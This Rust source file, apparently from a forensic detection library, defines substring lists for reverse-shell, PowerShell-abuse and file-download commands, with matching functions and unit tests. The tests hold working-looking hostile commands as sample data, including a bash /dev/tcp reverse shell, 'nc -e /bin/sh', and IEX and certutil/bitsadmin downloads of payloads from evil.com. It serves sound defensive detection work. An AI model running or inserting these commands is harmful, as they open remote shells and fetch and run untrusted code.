Skip to main content

forensic_catalog/
commands.rs

1/// Substrings indicative of reverse-shell command lines.
2///
3/// Sources:
4/// - PayloadsAllTheThings — reverse shell cheat sheet (all patterns below confirmed present):
5///   <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>
6/// - MITRE ATT&CK T1059 — Command and Scripting Interpreter:
7///   <https://attack.mitre.org/techniques/T1059/>
8/// - Red Canary — "How Process Streams Can Help You Detect Linux Threats"
9///   (universal reverse shell detection via `*sh` + socket on stdin/stdout):
10///   <https://redcanary.com/blog/threat-detection/process-streams/>
11pub const REVERSE_SHELL_PATTERNS: &[&str] = &[
12    "bash -i",
13    "sh -i",
14    "pty.spawn",
15    "nc -e",
16    "nc -c",
17    "ncat -e",
18    "/bin/sh -i",
19    "python -c",
20    "perl -e",
21    "ruby -e",
22    "lua -e",
23    "php -r",
24    "socat exec",
25    "openssl s_client",
26];
27
28/// Substrings indicative of PowerShell abuse / download-cradles.
29///
30/// Sources:
31/// - MITRE ATT&CK T1059.001 — PowerShell:
32///   <https://attack.mitre.org/techniques/T1059/001/>
33/// - Red Canary — "Encode All the Things! Investigating PowerShell Attacks"
34///   (IEX, .DownloadString, -encodedcommand detection):
35///   <https://redcanary.com/blog/threat-detection/investigating-powershell-attacks/>
36/// - Red Canary Threat Detection Report — PowerShell technique (updated annually,
37///   detection analytics for -nop, -noni, iex, downloadstring, EncodedCommand):
38///   <https://redcanary.com/threat-detection-report/techniques/powershell/>
39/// - Mandiant — Daniel Bohannon & Lee Holmes, "Revoke-Obfuscation: PowerShell
40///   Obfuscation Detection Using Science" (Black Hat USA 2017):
41///   <https://www.mandiant.com/resources/blog/revoke-obfuscation-powershell>
42/// - Mandiant — "Greater Visibility Through PowerShell Logging" (module logging,
43///   Script Block Logging, and transcription as detection sources):
44///   <https://www.mandiant.com/resources/blog/greater-visibility>
45pub const POWERSHELL_ABUSE_PATTERNS: &[&str] = &[
46    "IEX",
47    "Invoke-Expression",
48    "DownloadString",
49    "WebClient",
50    "Net.WebRequest",
51    "-EncodedCommand",
52    "-enc ",
53    "-ep bypass",
54    "-ExecutionPolicy Bypass",
55    "FromBase64String",
56    "Invoke-Mimikatz",
57    "Invoke-Shellcode",
58];
59
60/// Substrings indicative of file-download tool usage.
61///
62/// Sources:
63/// - MITRE ATT&CK T1105 — Ingress Tool Transfer:
64///   <https://attack.mitre.org/techniques/T1105/>
65/// - SANS ISC — Xavier Mertens, "A Suspicious Use of certutil.exe" (2018):
66///   <https://isc.sans.edu/diary/A+Suspicious+Use+of+certutil.exe/23517>
67/// - Red Canary Threat Detection Report — Ingress Tool Transfer (certutil,
68///   bitsadmin download abuse):
69///   <https://redcanary.com/threat-detection-report/techniques/ingress-tool-transfer/>
70/// - Cyber Triage — "DFIR Breakdown: Using Certutil To Download Attack Tools"
71///   (CryptnetURLCache as a persistent artifact of certutil downloads):
72///   <https://www.cybertriage.com/blog/dfir-breakdown-using-certutil-to-download-attack-tools/>
73/// - MITRE ATT&CK T1218.005 — System Binary Proxy Execution: Mshta:
74///   <https://attack.mitre.org/techniques/T1218/005/>
75pub const DOWNLOAD_TOOL_PATTERNS: &[&str] = &[
76    "certutil -urlcache",
77    "certutil -decode",
78    "bitsadmin /transfer",
79    "wget ",
80    "curl ",
81    "Invoke-WebRequest",
82    "Start-BitsTransfer",
83    "mshta http",
84    "regsvr32 /s /n /u /i:http",
85];
86
87/// Returns `true` if `cmd` contains a reverse-shell pattern (case-insensitive).
88pub fn is_reverse_shell_pattern(cmd: &str) -> bool {
89    let lower = cmd.to_ascii_lowercase();
90    REVERSE_SHELL_PATTERNS
91        .iter()
92        .any(|p| lower.contains(&p.to_ascii_lowercase()))
93}
94
95/// Returns `true` if `cmd` contains a PowerShell abuse pattern (case-insensitive).
96pub fn is_powershell_abuse(cmd: &str) -> bool {
97    let lower = cmd.to_ascii_lowercase();
98    POWERSHELL_ABUSE_PATTERNS
99        .iter()
100        .any(|p| lower.contains(&p.to_ascii_lowercase()))
101}
102
103/// Returns `true` if `cmd` contains a download-tool usage pattern (case-insensitive).
104pub fn is_download_tool_usage(cmd: &str) -> bool {
105    let lower = cmd.to_ascii_lowercase();
106    DOWNLOAD_TOOL_PATTERNS
107        .iter()
108        .any(|p| lower.contains(&p.to_ascii_lowercase()))
109}
110
111#[cfg(test)]
112mod tests {
113    use super::*;
114
115    #[test]
116    fn reverse_shell_patterns_contains_bash_i() {
117        assert!(REVERSE_SHELL_PATTERNS.contains(&"bash -i"));
118    }
119
120    #[test]
121    fn reverse_shell_patterns_contains_nc_e() {
122        assert!(REVERSE_SHELL_PATTERNS.contains(&"nc -e"));
123    }
124
125    #[test]
126    fn powershell_abuse_contains_iex() {
127        assert!(POWERSHELL_ABUSE_PATTERNS.contains(&"IEX"));
128    }
129
130    #[test]
131    fn powershell_abuse_contains_encoded_command() {
132        assert!(POWERSHELL_ABUSE_PATTERNS.contains(&"-EncodedCommand"));
133    }
134
135    #[test]
136    fn download_tool_contains_certutil_urlcache() {
137        assert!(DOWNLOAD_TOOL_PATTERNS.contains(&"certutil -urlcache"));
138    }
139
140    #[test]
141    fn download_tool_contains_wget() {
142        assert!(DOWNLOAD_TOOL_PATTERNS.contains(&"wget "));
143    }
144
145    #[test]
146    fn detects_bash_i_reverse_shell() {
147        assert!(is_reverse_shell_pattern(
148            "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
149        ));
150    }
151
152    #[test]
153    fn detects_nc_e_reverse_shell() {
154        assert!(is_reverse_shell_pattern("nc -e /bin/sh 10.0.0.1 4444"));
155    }
156
157    #[test]
158    fn detects_python_c_pty_spawn() {
159        assert!(is_reverse_shell_pattern(
160            "python -c 'import pty; pty.spawn(\"/bin/sh\")'"
161        ));
162    }
163
164    #[test]
165    fn detects_case_insensitive_nc_e() {
166        assert!(is_reverse_shell_pattern("NC -E /bin/sh attacker 4444"));
167    }
168
169    #[test]
170    fn does_not_flag_benign_command() {
171        assert!(!is_reverse_shell_pattern("ls -la /tmp"));
172    }
173
174    #[test]
175    fn empty_string_not_reverse_shell() {
176        assert!(!is_reverse_shell_pattern(""));
177    }
178
179    #[test]
180    fn detects_iex_downloadstring() {
181        assert!(is_powershell_abuse(
182            "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/ps.ps1')"
183        ));
184    }
185
186    #[test]
187    fn detects_encoded_command_flag() {
188        assert!(is_powershell_abuse("powershell.exe -EncodedCommand AAAA"));
189    }
190
191    #[test]
192    fn detects_ep_bypass() {
193        assert!(is_powershell_abuse(
194            "powershell -ep bypass -File stager.ps1"
195        ));
196    }
197
198    #[test]
199    fn does_not_flag_benign_powershell() {
200        assert!(!is_powershell_abuse("Get-Process"));
201    }
202
203    #[test]
204    fn empty_string_not_powershell_abuse() {
205        assert!(!is_powershell_abuse(""));
206    }
207
208    #[test]
209    fn detects_certutil_urlcache() {
210        assert!(is_download_tool_usage(
211            "certutil -urlcache -f http://evil.com/payload.exe payload.exe"
212        ));
213    }
214
215    #[test]
216    fn detects_bitsadmin_transfer() {
217        assert!(is_download_tool_usage(
218            "bitsadmin /transfer job http://evil.com/x.exe C:\\x.exe"
219        ));
220    }
221
222    #[test]
223    fn detects_wget_uppercase() {
224        assert!(is_download_tool_usage("WGET http://evil.com/malware"));
225    }
226
227    #[test]
228    fn does_not_flag_dir_command() {
229        assert!(!is_download_tool_usage("dir C:\\Windows\\System32"));
230    }
231
232    #[test]
233    fn empty_string_not_download_tool() {
234        assert!(!is_download_tool_usage(""));
235    }
236}